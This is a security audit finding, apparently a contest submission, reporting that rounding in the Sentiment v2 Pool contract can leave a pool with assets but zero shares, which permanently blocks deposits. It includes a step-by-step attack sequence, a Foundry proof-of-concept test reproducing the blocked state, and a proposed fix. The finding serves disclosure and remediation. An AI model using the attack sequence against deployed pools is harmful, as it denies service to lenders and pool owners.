Keen Jetblack Turtle

High

# Pool Functionality Can Be Permanently Blocked Due to Rounding in Share Calculations

## Summary

- The Sentiment protocol's Pool contract contains a critical flow in the [Pool](https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/main/protocol-v2/src/Pool.sol) contract that can lead to the permanent blocking of a pool functionality. This issue stems from an edge case in the interaction between the deposit, withdraw, and interest accrual mechanisms.

## Vulnerability Detail

- The core of the problem lies in the possibility of creating a state where:

```js
pool.totalDepositAssets > 0 && pool.totalDepositShares == 0
```
- when this state is reached the deposit to this pool will always revert , as depositing any amount  will result in `0` shares and revert the tx because of that .

- This state can occur due to rounding  in the share calculations during *deposits* and *withdrawals*, combined with *interest accrual*.

- The relevant functions involved in this issue are:

   +  **deposit()**: Converts assets to shares and adds them to the pool.(rounds Down)
   + **withdraw()**: Converts shares back to assets and removes them from the pool.(rounds Up)
   +  **accrue()**: Updates the pool state to account for accrued interest.
   +  **_convertToShares()**: Internal function that calculates the number of shares for a given asset amount.
  
- The root cause of this vulnerability is in the `_convertToShares()` function:

```js
function _convertToShares(uint256 assets, uint256 totalAssets, uint256 totalShares, Math.Rounding rounding) internal pure returns (uint256 shares) {
    if (totalAssets == 0) return assets;
    shares = assets.mulDiv(totalShares, totalAssets, rounding);
}
```

- When totalShares is zero, but totalAssets is non-zero, this function will always return zero shares for any  asset amount.

- The `deposit` function uses this calculation and reverts if the resulting shares are *zero*:
```js

    function deposit(uint256 poolId, uint256 assets, address receiver) public returns (uint256 shares) {
        // some code .. 
  >>    shares = _convertToShares(assets, pool.totalDepositAssets, pool.totalDepositShares, Math.Rounding.Down);
  >>    if (shares == 0) revert Pool_ZeroSharesDeposit(poolId, assets);

        pool.totalDepositAssets += assets;
        pool.totalDepositShares += shares;

        _mint(receiver, poolId, shares);

        emit Deposit(msg.sender, receiver, assets, shares);
    }
```
- This creates a situation where deposits become impossible once the pool reaches the state of non-zero assets but zero shares,thus all pool functionality won't work.

### Example : 

- To demonstrate how this vulnerable state can be achieved, let's walk through a step-by-step example:

-  **Initial State**: Start with an empty pool where `totalDepositAssets` and `totalDepositShares` are both `0`.

   1. **Deposit:** An attacker deposits a small amount, let's say `1000 wei`, to the pool. This results in `1000 shares` being minted.


   2. **Borrow and Repay:** The attacker then borrows any amount from the pool and immediately repays it in the next block. This action triggers interest accrual.


   3. **Interest Accrual:** Due to the brief borrowing period, a small amount of interest accrues, let's say `1 wei`. This increases `totalDepositAssets` to `1001`, while `totalDepositShares` remains at `1000`. 


   4. **Withdraw:** The attacker then withdraws `1000 wei` he deposited. they receive `1000` assets back.


- **Resulting State:** After this sequence of actions, the pool is left in a state where:

`totalDepositAssets` = **1** 
`totalDepositShares` = **0** 
- This state effectively blocks all future deposits to the pool. When a new user attempts to deposit, the `_convertToShares` function will always return `0` shares for any  asset amount, causing the deposit transaction to revert with the `Pool_ZeroSharesDeposit` check.

- ***It's important to understand that this issue doesn't necessarily require a malicious attack to occur. It can happen naturally when a full withdrawal occurs in any pool. However, an attacker can intentionally trigger this state to block deposits to a specific pool indefinitely.***

### poc : 
- Here's a Poc that demonstrates the above example, showing how an attacker can target a specific pool and block deposits indefinitely:

- The PoC is implemented in the `test_poc13()` function This test simulates the attack sequence described earlier:
```js
  // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;

    import { FixedRateModel } from "../../src/irm/FixedRateModel.sol";
    import { LinearRateModel } from "../../src/irm/LinearRateModel.sol";
    import "../BaseTest.t.sol";
    import { MockERC20 } from "../mocks/MockERC20.sol";
    import { OwnableUpgradeable } from "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
    import { Action, Operation } from "src/PositionManager.sol";
    import { IOracle } from "src/interfaces/IOracle.sol";
    import { FixedPriceOracle } from "src/oracle/FixedPriceOracle.sol";

 contract POCs is BaseTest {
    // keccak(SENTIMENT_POOL_KEY)
    bytes32 public constant SENTIMENT_POOL_KEY = 0x1a99cbf6006db18a0e08427ff11db78f3ea1054bc5b9d48122aae8d206c09728;
    // keccak(SENTIMENT_RISK_ENGINE_KEY)
    bytes32 public constant SENTIMENT_RISK_ENGINE_KEY = 0x5b6696788621a5d6b5e3b02a69896b9dd824ebf1631584f038a393c29b6d7555;
    // keccak(SENIMENT_POSITION_BEACON_KEY)
    bytes32 public constant SENTIMENT_POSITION_BEACON_KEY = 0x6e7384c78b0e09fb848f35d00a7b14fc1ad10ae9b10117368146c0e09b6f2fa2;

    Pool pool;
    Registry registry;
    address payable position;
    RiskEngine riskEngine;
    PositionManager positionManager;

    FixedPriceOracle asset1Oracle;
    FixedPriceOracle asset2Oracle;
    FixedPriceOracle asset3Oracle;
    address attacker = makeAddr("attacker");

    function setUp() public override {
        super.setUp();

        asset1Oracle = new FixedPriceOracle(10e18);
        asset2Oracle = new FixedPriceOracle(0.5e18);
        asset3Oracle = new FixedPriceOracle(1e18);

        pool = protocol.pool();
        registry = protocol.registry();
        riskEngine = protocol.riskEngine();
        positionManager = protocol.positionManager();

        vm.startPrank(protocolOwner);
        riskEngine.setOracle(address(asset1), address(asset1Oracle));
        riskEngine.setOracle(address(asset2), address(asset2Oracle));
        riskEngine.setOracle(address(asset3), address(asset3Oracle));
        vm.stopPrank();

        asset1.mint(address(this), 10_000 ether);
        asset1.approve(address(pool), 10_000 ether);

        Action[] memory actions = new Action[](1);
        (position, actions[0]) = newPosition(attacker, bytes32(uint256(3_492_932_942)));

        PositionManager(positionManager).processBatch(position, actions);

        vm.startPrank(poolOwner);
        riskEngine.requestLtvUpdate(linearRatePool, address(asset3), 0.75e18);
        riskEngine.acceptLtvUpdate(linearRatePool, address(asset3));
        riskEngine.requestLtvUpdate(linearRatePool, address(asset2), 0.75e18);
        riskEngine.acceptLtvUpdate(linearRatePool, address(asset2));
        vm.stopPrank();
    }

    function deposit_asset2(uint96 amount) public {
        asset2.mint(attacker, amount);
        vm.startPrank(attacker);
        Action[] memory actions = new Action[](1);
        actions[0] = addToken(address(asset2));
        PositionManager(positionManager).processBatch(position, actions);
        actions[0] = deposit(address(asset2), amount);
        asset2.approve(address(positionManager), amount);
        PositionManager(positionManager).processBatch(position, actions);
        vm.stopPrank();
    }

    function test_poc13() public {
        // attacker create a position and deposit collateral to :
        deposit_asset2(100 ether);
        // attacker deposit 1000 wei to the pool :
        pool.deposit(linearRatePool, 1000, attacker);
        // 1. attacker borrow 1000 wei he deposited :
        vm.startPrank(attacker);
        bytes memory data = abi.encode(linearRatePool, 1000);

        Action memory action = Action({ op: Operation.Borrow, data: data });
        Action[] memory actions = new Action[](1);
        actions[0] = action;

        PositionManager(positionManager).processBatch(position, actions);
        // 2. attacker wait a few seconds , and repay the debt :
        skip(12); // 1 block on mainnet
        // repay  the debt :
        asset1.mint(position, 10_000);
        bytes memory repayData = abi.encode(linearRatePool, type(uint256).max);
        Action memory repayAction = Action({ op: Operation.Repay, data: repayData });
        Action[] memory repayActions = new Action[](1);
        repayActions[0] = repayAction;
        PositionManager(positionManager).processBatch(position, repayActions);
        // 3. attacker withdraw 1000 wei from the pool he deposited to :
        pool.withdraw(linearRatePool, 1000, attacker, attacker);
        (,,,,,,,,, uint256 totalAsset, uint256 totalShares) = pool.poolDataFor(linearRatePool);
        assertTrue(totalAsset == 1 && totalShares == 0);
        vm.stopPrank();
        // NOW THE POOL IS BLOCKED AND NO DEPOSITS CAN BE DONE TO THIS POOL :
        vm.expectRevert(abi.encodeWithSelector(Pool.Pool_ZeroSharesDeposit.selector, linearRatePool, 1000));
        pool.deposit(linearRatePool, 1000, address(0x9));
    }
 }
```
- This PoC clearly illustrates how an attacker can exploit the rounding issues and interest accrual mechanism to create a pool state that prevents any future deposits, severely impacting the protocol's functionality.

## Impact
The impact of this vulnerability is :

- Permanent DoS of pools: Affected pools become permanently blocked for new deposits, rendering them unusable , since dpositing asset is the entrypoint for any pool to function.
- Pool Creation Restrictions: Pool owners, especially smart contracts with fixed addresses, are unable to create new pools with the same `asset` and `rateModel`. This significantly limits the protocol's flexibility and ability to recover from affected pools.
-  notice that anyone can create a pool for other owners and target this state , which prevent those effected from creating a pool with the same rateModule/asset for ever.
## Code Snippet
- https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/0b472f4bffdb2c7432a5d21f1636139cc01561a5/protocol-v2/src/Pool.sol#L322-L323
- https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/0b472f4bffdb2c7432a5d21f1636139cc01561a5/protocol-v2/src/Pool.sol#L350
- https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/0b472f4bffdb2c7432a5d21f1636139cc01561a5/protocol-v2/src/Pool.sol#L275-L283
## Tool used

Manual Review

## Recommendation

- To prevent the issue  of pools being blocked due to *zero shares* and *non-zero assets*, we recommend implementing a check in the withdraw function. If the total shares become zero after a withdrawal, the total assets should also be set to zero. 

Here's the proposed change:
```diff
function withdraw(uint256 poolId, uint256 assets, address receiver, address owner) public returns (uint256 shares) {
    PoolData storage pool = poolDataFor[poolId];

    // Existing code...

    pool.totalDepositAssets -= assets;
    pool.totalDepositShares -= shares;

+   if (pool.totalDepositShares == 0) {
+       pool.totalDepositAssets = 0;
+   }

    // Remaining code...
}
```
This ensures that the pool remains in a consistent state and can continue to accept deposits.
